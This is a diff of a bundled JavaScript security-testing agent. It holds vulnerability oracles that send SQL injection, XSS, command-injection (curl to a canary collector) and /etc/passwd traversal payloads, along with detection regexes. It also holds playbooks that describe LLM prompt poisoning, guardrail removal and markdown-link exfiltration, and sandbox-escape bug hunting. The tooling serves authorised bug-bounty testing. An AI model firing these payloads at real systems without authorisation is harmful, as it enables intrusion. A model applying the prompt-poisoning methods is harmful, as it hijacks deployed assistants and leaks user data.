- return notVerifiable("no injectable parameter found in finding evidence");
195
- const signals = [];
196
- const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
197
- if (!baseline)
198
- return notVerifiable("baseline request failed");
199
- const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
200
- const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
201
- if (trueProbe && falseProbe && trueProbe.body.length > 0) {
202
- const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
203
- if (delta > 0.1) {
204
- signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
205
- }
206
- }
207
- const timePayloads = [
208
- `${victim.value}' AND SLEEP(3)-- -`,
209
- `${victim.value}'; SELECT pg_sleep(3)-- -`,
210
- `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
211
- ];
212
- for (const payload of timePayloads) {
213
- const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
214
- if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
215
- signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
216
- break;
217
- }
218
- }
219
- const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
220
- if (errProbe) {
221
- const err = detectSqlError(errProbe.body);
222
- if (err)
223
- signals.push(`sql_error: ${err}`);
224
- }
225
- if (signals.length >= 2) {
226
- return verified(signals.join(" | "));
227
- }
228
- return {
229
- verified: false,
230
- confidence: signals.length === 1 ? 0.4 : 0,
231
- evidence: signals.join(" | "),
232
- reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
233
- };
234
- }
235
- async function verifyReflectedXss(finding, target, context = {}) {
236
- const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
237
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
238
- const victim = pickInjectableParam(parsed);
239
- if (!victim)
240
- return notVerifiable("no injectable parameter found in finding evidence");
241
- const token = `osec_${randomUUID().replace(/-/g, "")}`;
242
- const payload = `<script>alert('${token}')</script>`;
243
- const { url, init } = buildProbeRequest(parsed, {
244
- [victim.key]: payload
245
- });
246
- const probe = await timedFetch(url, init);
247
- const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
248
- let playwright = null;
249
- try {
250
- playwright = await import("playwright");
251
- } catch {
252
- }
253
- if (playwright) {
254
- let browser = null;
255
- try {
256
- browser = await playwright.chromium.launch({ headless: true });
257
- const page = await browser.newPage();
258
- let dialogMessage = "";
259
- page.on("dialog", async (dialog) => {
260
- if (dialog.type() === "alert" && dialog.message() === token) {
261
- dialogMessage = token;
262
- }
263
- await dialog.dismiss().catch(() => {
264
- });
265
- });
266
- let replayed = false;
267
- await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
268
- const request = route.request();
269
- const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
270
- if (initial)
271
- replayed = true;
272
- const replayInit = {
273
- method: initial ? init.method : request.method(),
274
- headers: initial ? init.headers : request.headers(),
275
- body: initial ? init.body : request.postData(),
276
- redirect: "manual"
277
- };
278
- if (context.fetch) {
279
- try {
280
- const response = await context.fetch(request.url(), replayInit);
281
- const headers = Object.fromEntries(response.headers);
282
- delete headers["content-encoding"];
283
- delete headers["content-length"];
284
- await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
285
- } catch {
286
- await route.abort();
287
- }
288
- } else if (initial) {
289
- await route.continue({
290
- method: init.method,
291
- headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
292
- ...typeof init.body === "string" ? { postData: init.body } : {}
293
- });
294
- } else {
295
- await route.continue();
296
- }
297
- });
298
- await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
299
- await page.waitForTimeout(500);
300
- await browser.close();
301
- browser = null;
302
- if (dialogMessage === token) {
303
- return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
304
- }
305
- } catch (err) {
306
- if (browser)
307
- await browser.close().catch(() => {
308
- });
309
- return {
310
- verified: false,
311
- confidence: htmlReflected ? 0.4 : 0,
312
- evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
313
- inconclusive: true,
314
- reason: `playwright navigation failed: ${err.message}`
315
- };
316
- }
317
- }
318
- if (htmlReflected) {
319
- return {
320
- verified: false,
321
- confidence: 0.5,
322
- evidence: `html_reflection: payload reflected unencoded in response body`,
323
- reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
324
- };
325
- }
326
- return notVerifiable("no xss reflection or alert captured");
327
- }
328
- async function withCollector(nonce, timeoutMs, work) {
329
- const port = 8888 + Math.floor(Math.random() * 1e3);
330
- let hit = false;
331
- const server = createServer((req, res) => {
332
- if ((req.url ?? "").includes(nonce))
333
- hit = true;
334
- res.writeHead(200);
335
- res.end("ok");
336
- });
337
- await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
338
- const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
339
- const waitForHit = async () => {
340
- const deadline = Date.now() + timeoutMs;
341
- while (Date.now() < deadline) {
342
- if (hit)
343
- return true;
344
- await new Promise((r) => setTimeout(r, 100));
345
- }
346
- return hit;
347
- };
348
- try {
349
- return await work(collectorUrl, waitForHit);
350
- } finally {
351
- await new Promise((resolve) => server.close(() => resolve()));
352
- }
353
- }
354
- async function verifySsrf(finding, target, context = {}) {
355
- const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
356
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
357
- const victim = pickInjectableParam(parsed);
358
- if (!victim)
359
- return notVerifiable("no injectable parameter found in finding evidence");
360
- const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
361
- return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
362
- const { url, init } = buildProbeRequest(parsed, {
363
- [victim.key]: collectorUrl
364
- });
365
- const probe = await timedFetch(url, init, 8e3);
366
- if (!probe)
367
- return notVerifiable("ssrf probe failed to send");
368
- const hit = await waitForHit();
369
- if (hit) {
370
- return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
371
- }
372
- return {
373
- verified: false,
374
- confidence: 0,
375
- evidence: "",
376
- reason: `collector never received a request for nonce=${nonce}`
377
- };
378
- });
379
- }
380
- async function verifyRce(finding, target, context = {}) {
381
- const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
382
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
383
- const victim = pickInjectableParam(parsed);
384
- if (!victim)
385
- return notVerifiable("no injectable parameter found in finding evidence");
386
- const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
387
- return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
388
- const payloads = [
389
- `${victim.value};curl ${collectorUrl}`,
390
- `${victim.value}|curl ${collectorUrl}`,
391
- `${victim.value}$(curl ${collectorUrl})`,
392
- `${victim.value}\`curl ${collectorUrl}\``,
393
- `${victim.value}&&curl ${collectorUrl}`
394
- ];
395
- for (const payload of payloads) {
396
- const { url, init } = buildProbeRequest(parsed, {
397
- [victim.key]: payload
398
- });
399
- await timedFetch(url, init, 8e3);
400
- }
401
- const hit = await waitForHit();
402
- if (hit)
403
- return verified(`collector hit: nonce=${nonce}`);
404
- return {
405
- verified: false,
406
- confidence: 0,
407
- evidence: "",
408
- reason: `collector never received a request for nonce=${nonce}`
409
- };
410
- });
411
- }
412
- var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
413
- async function verifyPathTraversal(finding, target, context = {}) {
414
- const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
415
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
416
- const victim = pickInjectableParam(parsed);
417
- if (!victim)
418
- return notVerifiable("no injectable parameter found in finding evidence");
419
- const payloads = [
420
- "../../../../etc/passwd",
421
- "..%2f..%2f..%2f..%2fetc%2fpasswd",
422
- "..%252f..%252f..%252fetc%252fpasswd",
423
- "../../../../etc/passwd%00",
424
- "....//....//....//etc/passwd",
425
- "/etc/passwd"
426
- ];
427
- for (const payload of payloads) {
428
- const { url, init } = buildProbeRequest(parsed, {
429
- [victim.key]: payload
430
- });
431
- const probe = await timedFetch(url, init);
432
- if (!probe)
433
- continue;
434
- const m = probe.body.match(PASSWD_PATTERN);
435
- if (m) {
436
- return verified(`payload=${payload} response contained "${m[0]}"`);
437
- }
438
- }
439
- return notVerifiable("no /etc/passwd signature in any traversal probe response");
440
- }
441
- async function verifyIdor(finding, target, context = {}) {
442
- const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
443
- const boundary = await context.verifyAccessControl?.(finding, target);
444
- if (boundary)
445
- return boundary;
446
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
447
- if (parsed.method !== "GET")
448
- return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
449
- let idKey = null;
450
- let idValue = 0;
451
- for (const [k, v] of Object.entries(parsed.params)) {
452
- if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
453
- idKey = k;
454
- idValue = parseInt(v, 10);
455
- break;
456
- }
457
- }
458
- if (!idKey) {
459
- for (const [k, v] of Object.entries(parsed.params)) {
460
- if (/^\d+$/.test(v)) {
461
- idKey = k;
462
- idValue = parseInt(v, 10);
463
- break;
464
- }
465
- }
466
- }
467
- if (!idKey)
468
- return notVerifiable("no numeric id-like parameter to mutate");
469
- const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
470
- if (!baseline)
471
- return notVerifiable("baseline request failed");
472
- const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
473
- const hits = [];
474
- for (const variant of variants) {
475
- if (variant === String(idValue))
476
- continue;
477
- const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
478
- if (!probe)
479
- continue;
480
- if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
481
- hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
482
- }
483
- }
484
- if (hits.length > 0) {
485
- return {
486
- verified: false,
487
- confidence: 0.7,
488
- inconclusive: true,
489
- evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
490
- reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
491
- };
492
- }
493
- return notVerifiable("no distinct 200 response on id mutation");
494
- }
495
- async function verifyOracleByCategory(finding, target, context = {}) {
496
- const category = finding.category;
497
- switch (category) {
498
- case "sql-injection":
499
- return verifySqli(finding, target, context);
500
- case "xss":
501
- return verifyReflectedXss(finding, target, context);
502
- case "ssrf":
503
- return verifySsrf(finding, target, context);
504
- case "command-injection":
505
- case "code-injection":
506
- return verifyRce(finding, target, context);
507
- case "path-traversal":
508
- return verifyPathTraversal(finding, target, context);
509
- // Heuristic: "information-disclosure" findings referencing an id param
510
- // look a lot like IDOR. We route them through the IDOR oracle as well.
511
- case "information-disclosure":
512
- return verifyIdor(finding, target, context);
513
- default:
514
- return {
515
- verified: false,
516
- confidence: 0,
517
- evidence: "",
518
- reason: `no oracle for category="${category}"`
519
- };
520
- }
521
- }
522
-
523
- // packages/core/dist/review/sanitizer-log.js
524
- var ASAN_CATEGORY_BY_KIND = {
525
- "heap-use-after-free": "use-after-free",
526
- "stack-use-after-return": "use-after-free",
527
- "stack-use-after-scope": "use-after-free",
528
- "double-free": "double-free",
529
- "attempting-double-free": "double-free",
530
- "stack-buffer-overflow": "stack-buffer-overflow",
531
- "heap-buffer-overflow": "heap-overflow",
532
- "global-buffer-overflow": "heap-overflow"
533
- };
534
- function categoryForAsan(kind, primitive) {
535
- if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
536
- return "out-of-bounds-read";
537
- }
538
- if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
539
- return "out-of-bounds-write";
540
- }
541
- return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
542
- }
543
- function categoryForUbsan(message) {
544
- const lower = message.toLowerCase();
545
- if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
546
- return { kind: "signed-integer-overflow", category: "integer-overflow" };
547
- }
548
- if (lower.includes("shift exponent") || lower.includes("shift base")) {
549
- return { kind: "shift-exponent", category: "integer-overflow" };
550
- }
551
- if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
552
- return { kind: "float-cast-overflow", category: "integer-truncation" };
553
- }
554
- if (lower.includes("null pointer") || lower.includes("null-pointer")) {
555
- return { kind: "null-pointer-use", category: "null-deref" };
556
- }
557
- return { kind: "undefined-behavior", category: "other" };
558
- }
559
- function parsePrimitive(text) {
560
- const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
561
- if (!access)
562
- return { primitive: "unknown" };
563
- return {
564
- primitive: access[1].toLowerCase(),
565
- accessSize: Number(access[2])
566
- };
567
- }
568
- function parseFrames(text) {
569
- const frames = [];
570
- const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
571
- let match;
572
- while ((match = frameRegex.exec(text)) !== null) {
573
- frames.push({
574
- functionName: match[1],
575
- file: match[2],
576
- line: Number(match[3])
577
- });
578
- }
579
- return frames;
580
- }
581
- function parseAsan(text) {
582
- const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
583
- if (!header?.[1])
584
- return null;
585
- const kind = header[1].toLowerCase();
586
- const { primitive, accessSize } = parsePrimitive(text);
587
- const frames = parseFrames(text);
588
- let sourceFile = frames[0]?.file;
589
- let sourceLine = frames[0]?.line;
590
- const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
591
- if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
592
- sourceFile = summary[1];
593
- sourceLine = Number(summary[2]);
594
- }
595
- const allocMatch = text.match(/\b(\d+)-byte region\b/i);
596
- const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
597
- return {
598
- sanitizer: "asan",
599
- kind,
600
- category: categoryForAsan(kind, primitive),
601
- primitive,
602
- sourceFile,
603
- sourceLine,
604
- allocSize,
605
- accessSize,
606
- summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
607
- frames
608
- };
609
- }
610
- function parseUbsan(text) {
611
- const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
612
- if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
613
- return null;
614
- const details = runtime[4].trim();
615
- const { kind, category } = categoryForUbsan(details);
616
- return {
617
- sanitizer: "ubsan",
618
- kind,
619
- category,
620
- primitive: "unknown",
621
- sourceFile: runtime[1],
622
- sourceLine: Number(runtime[2]),
623
- summary: details,
624
- frames: []
625
- };
626
- }
627
- function parseSanitizerLog(text) {
628
- const trimmed = text.trim();
629
- if (!trimmed)
630
- return null;
631
- return parseAsan(trimmed) ?? parseUbsan(trimmed);
632
- }
633
- function renderSanitizerVerdict(verdict) {
634
- const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
635
- const sizes = [
636
- verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
637
- verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
638
- ].filter(Boolean).join(", ");
639
- return [
640
- `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
641
- `category=${verdict.category}`,
642
- `primitive=${verdict.primitive}`,
643
- `source=${loc}`,
644
- sizes || null
645
- ].filter(Boolean).join("; ");
646
- }
8
+ // packages/core/dist/stages/memsafety-scan.js
9
+ import { randomUUID as randomUUID2 } from "node:crypto";
647
10
 
648
11
  // packages/core/dist/agent/playbooks.js
649
12
  var PLAYBOOKS = {
@@ -1354,682 +717,2829 @@ Prefer read-only introspection: \`information_schema.columns\`, \`SHOW TABLES\`,
1354
717
  - The finding is "this prompt row is attacker-writable and consumed at inference",
1355
718
  proven by privilege + re-read evidence \u2014 not by a destructive UPDATE.
1356
719
 
1357
- ### Step 3: Model the impact (classify, narrate \u2014 no live tampering)
1358
- Map each writable prompt-layer asset to its impact class:
1359
- - **prompt_poisoning** \u2014 rewriting the system prompt / persona / instructions \u2192
1360
- full hijack of every response (exfil instructions, scams, malware links,
1361
- brand-damaging output) for all users, persistently.
1362
- - **guardrail_removal** \u2014 editing safety/refusal/policy text or flipping a
1363
- \`safety_settings\`/\`moderation\` flag \u2192 jailbreak-by-config; the model now
1364
- answers what it used to refuse.
1365
- - **output_channel_exfil** \u2014 injecting an instruction that makes the model emit
1366
- attacker URLs (markdown-image / link exfil) or push data into an output sink \u2192
1367
- silent data exfiltration on every conversation (pairs with
1368
- \`insecure_output_handling\`).
1369
- - **model_config_tamper** \u2014 swapping the model name, raising temperature, or
1370
- rewiring tool/function config \u2192 degraded safety, or steering the agent toward
1371
- attacker-chosen tools (pairs with \`excessive_agency\`).
720
+ ### Step 3: Model the impact (classify, narrate \u2014 no live tampering)
721
+ Map each writable prompt-layer asset to its impact class:
722
+ - **prompt_poisoning** \u2014 rewriting the system prompt / persona / instructions \u2192
723
+ full hijack of every response (exfil instructions, scams, malware links,
724
+ brand-damaging output) for all users, persistently.
725
+ - **guardrail_removal** \u2014 editing safety/refusal/policy text or flipping a
726
+ \`safety_settings\`/\`moderation\` flag \u2192 jailbreak-by-config; the model now
727
+ answers what it used to refuse.
728
+ - **output_channel_exfil** \u2014 injecting an instruction that makes the model emit
729
+ attacker URLs (markdown-image / link exfil) or push data into an output sink \u2192
730
+ silent data exfiltration on every conversation (pairs with
731
+ \`insecure_output_handling\`).
732
+ - **model_config_tamper** \u2014 swapping the model name, raising temperature, or
733
+ rewiring tool/function config \u2192 degraded safety, or steering the agent toward
734
+ attacker-chosen tools (pairs with \`excessive_agency\`).
735
+
736
+ ### Step 4: Produce the impact narrative + save
737
+ - Write the narrative: which row/column, which impact class(es), blast radius
738
+ (all users / one tenant), persistence (survives restarts because it's in the DB),
739
+ and the proof that it's writable + re-read.
740
+ - \`save_finding\` with: the table/column/key, a read-only sample of the current
741
+ prompt, the privilege/re-read evidence, the impact classification, and the
742
+ narrative. Explicitly note that NO destructive write was performed.`,
743
+ rust_memsafety: `## Rust / Userspace Memory-Safety & Sandbox-Escape Playbook ("Monty-mode")
744
+
745
+ The target is a memory-safe-by-default language runtime (e.g. a Rust-written
746
+ Python interpreter / sandbox such as Pydantic Monty). The bug class is memory
747
+ corruption reachable from attacker-controlled scripting: use-after-free,
748
+ double-free, type confusion, OOB, and **GC-root gaps**. This is discovery +
749
+ classification, NOT autonomous exploit synthesis (see
750
+ docs/0-rust-memsafety-pipeline.md).
751
+
752
+ ### HARD CONSTRAINTS \u2014 bounty rules (never violate)
753
+ 1. **Never open a PR or change code** in the target or any of its dependencies.
754
+ You are auditing, not patching \u2014 do not push, fork-and-PR, or submit upstream.
755
+ 2. **Never DoS the live endpoint.** No fuzzing, flooding, resource-exhaustion,
756
+ or load against the hosted/live service (e.g. hackmonty.com).
757
+ 3. **Discovery happens against a LOCAL instrumented build only** \u2014 clone the
758
+ source, build with sanitizers (ASAN/UBSAN) or run under \`cargo fuzz\` / \`miri\`,
759
+ and reproduce locally. The live site is only for confirming scope, never the hunt.
760
+
761
+ ### Step 1: Unsafe-block + boundary enumeration
762
+ - Enumerate every \`unsafe\` block: \`grep -rn "unsafe" --include=*.rs\` and read each
763
+ one. \`unsafe\` is where Rust's guarantees are hand-waved \u2014 that is the audit surface.
764
+ - Audit the PyO3 / C-API / FFI boundary specifically: \`Py_INCREF\`/\`Py_DECREF\`,
765
+ \`PyObject\` raw pointers, \`from_raw\`/\`into_raw\`, \`transmute\`, \`MaybeUninit\`,
766
+ \`mem::forget\`, \`ManuallyDrop\`, raw \`*mut\`/\`*const\` deref, and any place a Python
767
+ object's lifetime is managed by hand rather than by the borrow checker.
768
+ - Flag refcount math done manually (incref/decref imbalance \u2192 UAF or leak) and any
769
+ \`&mut\` aliasing smuggled across the FFI line (\u2192 type confusion / aliasing UB).
770
+
771
+ ### Step 2: GC-root variant-hunt (the round-1 methodology)
772
+ Round-1 win was a use-after-free via a **missing GC root**: \`list.sort\` held a
773
+ reference to an object the garbage collector did not trace, so it was freed
774
+ mid-operation and then used. The patch "extended the GC root set" \u2014 which means
775
+ the fix is narrow and **adjacent objects are likely still unrooted**.
776
+ - Start from the patched roots. Enumerate every object/temporary that lives
777
+ *next to* what the patch just rooted: other intrinsics that hold borrowed
778
+ references across a callback, re-entrancy points, iterators / sort / comparator
779
+ callbacks, \`__del__\` / finalizer hooks, and any C-side temporary not registered
780
+ with the collector.
781
+ - For each candidate ask: can the attacker script trigger a GC (allocate pressure,
782
+ explicit \`gc.collect()\`, drop a large object) *while* this reference is live but
783
+ untraced? If yes \u2192 candidate UAF.
784
+ - Type-confusion variant: where the patch rooted an object of one type, check
785
+ whether a sibling path can swap the object's type between the root and the use.
786
+
787
+ ### Step 3: Fuzz + sanitize the LOCAL build
788
+ - Build the cloned tree with sanitizers and drive the suspect entry points
789
+ (the \`unsafe\` slices and Step-2 candidates) under \`cargo fuzz\` (libFuzzer) and
790
+ \`miri\` for UB on the unsafe paths. ASAN/UBSAN catch UAF/OOB; miri catches
791
+ aliasing / uninit UB the sanitizers miss.
792
+ - If \`cargo-fuzz\` / \`miri\` / sanitizer toolchains are not installed, say so and
793
+ request them \u2014 do NOT fabricate a fuzzing result. The pipeline degrades and
794
+ reports the missing tooling rather than faking success.
795
+ - Reproduce every crash to a minimal input before claiming it.
796
+
797
+ ### Step 4: Triage, don't over-claim
798
+ - For each reproduced crash, classify the primitive (use-after-free, type-confusion,
799
+ heap-oob-*, \u2026) and whether the offset / value is attacker-controllable.
800
+ - A crash under the sanitizer is a *finding*; a full UAF\u2192leak\u2192arbitrary-read chain
801
+ is NOT auto-synthesised \u2014 that stays human/agent-authored and gated by verify.
802
+ - save_finding with: the unsafe block / GC-root gap, the minimal reproducing input,
803
+ the sanitizer/miri output, and the local build commit. Assume false-positive until
804
+ the local instrumented build reproduces it deterministically.`
805
+ };
806
+ var INDICATORS = [
807
+ {
808
+ type: "sqli",
809
+ patterns: [
810
+ /SQL syntax/i,
811
+ /mysql_fetch/i,
812
+ /sqlite3?\./i,
813
+ /pg_query/i,
814
+ /ORA-\d{5}/i,
815
+ /ODBC SQL Server/i,
816
+ /unclosed quotation mark/i,
817
+ /syntax error.*near/i,
818
+ /sql.*error/i,
819
+ /database.*error/i,
820
+ /SELECT\s+.*FROM\s+/i,
821
+ /information_schema/i,
822
+ /UNION\s+SELECT/i
823
+ ]
824
+ },
825
+ {
826
+ // Structural / JSON-key SQLi (#774): the injectable surface is a key /
827
+ // field name concatenated into SQL (ORDER BY, dynamic column). These
828
+ // patterns point at identifier-position injection + the column-name error
829
+ // shapes that value-fuzz SQLi detection does not key on.
830
+ type: "structural_sqli",
831
+ patterns: [
832
+ /ORDER\s+BY/i,
833
+ /GROUP\s+BY/i,
834
+ /Unknown column '[^']*' in/i,
835
+ /column "[^"]*" does not exist/i,
836
+ /Invalid column name/i,
837
+ /no such column/i,
838
+ /\b(sort|order)(_?by|_?field|field|_?column|_?dir)\b/i,
839
+ /"(sort|order|column|field|groupBy|orderBy)"\s*:/i,
840
+ /unrecognized token/i
841
+ ]
842
+ },
843
+ {
844
+ type: "ssti",
845
+ patterns: [
846
+ /\{\{.*\}\}/,
847
+ /\$\{.*\}/,
848
+ /<%=.*%>/,
849
+ /jinja/i,
850
+ /mako/i,
851
+ /twig/i,
852
+ /freemarker/i,
853
+ /thymeleaf/i,
854
+ /template.*engine/i,
855
+ /\b49\b/
856
+ // result of {{7*7}}
857
+ ]
858
+ },
859
+ {
860
+ type: "idor",
861
+ patterns: [
862
+ /\/api\/users?\/\d+/i,
863
+ /\/profile\?id=/i,
864
+ /\/user\/\d+/i,
865
+ /\/account\/\d+/i,
866
+ /\/edit\/\d+/i,
867
+ /\/order\/\d+/i,
868
+ /user_id/i,
869
+ /owner_id/i,
870
+ /account_id/i
871
+ ]
872
+ },
873
+ {
874
+ // Multi-identity access-control surface (0#564). Distinct from `idor`:
875
+ // these patterns point at object/function references that should be tested
876
+ // with the access_control_probe tool across identities, plus the authz
877
+ // signals (admin endpoints, role params, allow/deny status codes).
878
+ type: "access_control",
879
+ patterns: [
880
+ /\/api\/[a-z]+\/\d+/i,
881
+ /\/api\/admin\//i,
882
+ /\/admin\b/i,
883
+ /\bobject[_-]?id\b/i,
884
+ /\bresource[_-]?id\b/i,
885
+ /\borg(?:anization)?[_-]?id\b/i,
886
+ /\btenant[_-]?id\b/i,
887
+ /\bis[_-]?admin\b/i,
888
+ /\brole\s*[=:]/i,
889
+ /\bunauthorized\b/i,
890
+ /\bforbidden\b/i,
891
+ /\b403\b/,
892
+ /\b401\b/
893
+ ]
894
+ },
895
+ {
896
+ type: "xss",
897
+ patterns: [
898
+ /<script/i,
899
+ /onerror\s*=/i,
900
+ /onload\s*=/i,
901
+ /javascript:/i,
902
+ /document\.cookie/i,
903
+ /innerHTML/i,
904
+ /document\.write/i,
905
+ /reflected.*input/i,
906
+ /Content-Type:.*text\/html/i,
907
+ /<form[\s>]/i,
908
+ /<input[\s>]/i,
909
+ /<textarea[\s>]/i,
910
+ /type=["']?text["']?/i,
911
+ /name=["']?(search|query|q|comment|message|name|title|body|content|text|url|redirect|callback|return)/i,
912
+ /\?[^=]+=.*</i,
913
+ /xss/i,
914
+ /cross.site/i,
915
+ /sanitiz/i,
916
+ /escape/i,
917
+ /\.php\?/i
918
+ ]
919
+ },
920
+ {
921
+ type: "ssrf",
922
+ patterns: [
923
+ /url[=:]\s*http/i,
924
+ /webhook/i,
925
+ /callback.*url/i,
926
+ /fetch.*url/i,
927
+ /proxy/i,
928
+ /redirect.*url/i,
929
+ /169\.254\.169\.254/,
930
+ /metadata/i
931
+ ]
932
+ },
933
+ {
934
+ type: "lfi",
935
+ patterns: [
936
+ /file[=:]/i,
937
+ /path[=:]/i,
938
+ /include[=:]/i,
939
+ /template[=:]/i,
940
+ /\.\.\/\.\.\//,
941
+ /etc\/passwd/i,
942
+ /\/proc\/self/i,
943
+ /root:x:0:0/,
944
+ /\[boot loader\]/i
945
+ ]
946
+ },
947
+ {
948
+ type: "auth_bypass",
949
+ patterns: [
950
+ /login/i,
951
+ /sign.?in/i,
952
+ /auth/i,
953
+ /password/i,
954
+ /session/i,
955
+ /jwt/i,
956
+ /bearer/i,
957
+ /unauthorized/i,
958
+ /403/,
959
+ /401/
960
+ ]
961
+ },
962
+ {
963
+ type: "blind_exploitation",
964
+ patterns: [
965
+ /\bblind\b/i,
966
+ /no output/i,
967
+ /waf/i,
968
+ /firewall/i,
969
+ /filter.*block/i,
970
+ /block.*filter/i,
971
+ /request.*rejected/i,
972
+ /forbidden/i,
973
+ /\b403\b/,
974
+ /not allowed/i,
975
+ /suspicious/i,
976
+ /malicious.*input/i,
977
+ /identical.*respons/i,
978
+ /same.*respons/i,
979
+ /time.?based/i,
980
+ /out.?of.?band/i,
981
+ /\boob\b/i,
982
+ /callback/i,
983
+ /interactsh/i,
984
+ /webhook\.site/i,
985
+ /sleep\(/i,
986
+ /pg_sleep/i,
987
+ /benchmark\(/i,
988
+ /php:\/\/filter/i,
989
+ /convert\.base64-encode/i,
990
+ /\.\.%2f/i,
991
+ /\.\.%252f/i,
992
+ /encoding.*restrict/i,
993
+ /sanitiz.*input/i,
994
+ /stripped/i
995
+ ]
996
+ },
997
+ {
998
+ type: "command_injection",
999
+ patterns: [
1000
+ /exec\s*\(/i,
1001
+ /system\s*\(/i,
1002
+ /popen\s*\(/i,
1003
+ /subprocess/i,
1004
+ /child_process/i,
1005
+ /shell.*true/i,
1006
+ /ping\s/i,
1007
+ /nslookup/i,
1008
+ /traceroute/i
1009
+ ]
1010
+ },
1011
+ {
1012
+ type: "deserialization",
1013
+ patterns: [
1014
+ // PHP
1015
+ /unserialize\s*\(/i,
1016
+ /__wakeup/,
1017
+ /__destruct/,
1018
+ /O:\d+:"[\w\\]+":\d+:\{/,
1019
+ // PHP serialized object header
1020
+ /unserialize\(\):\s*Error at offset/i,
1021
+ /phpggc/i,
1022
+ // Python pickle
1023
+ /pickle\.loads?\s*\(/i,
1024
+ /cPickle/i,
1025
+ /__reduce__/,
1026
+ // YAML
1027
+ /yaml\.load\s*\(/i,
1028
+ /!!python\/object/i,
1029
+ /!ruby\/object/i,
1030
+ /SnakeYAML/i,
1031
+ /FullLoader/,
1032
+ /SafeLoader/,
1033
+ // Java
1034
+ /rO0AB/,
1035
+ // base64 of Java serialization magic
1036
+ /\xac\xed\x00\x05/,
1037
+ /application\/x-java-serialized-object/i,
1038
+ /ysoserial/i,
1039
+ /CommonsCollections/i,
1040
+ // .NET
1041
+ /BinaryFormatter/i,
1042
+ /ObjectStateFormatter/i,
1043
+ /__VIEWSTATE/,
1044
+ /TypeNameHandling/i,
1045
+ // Ruby
1046
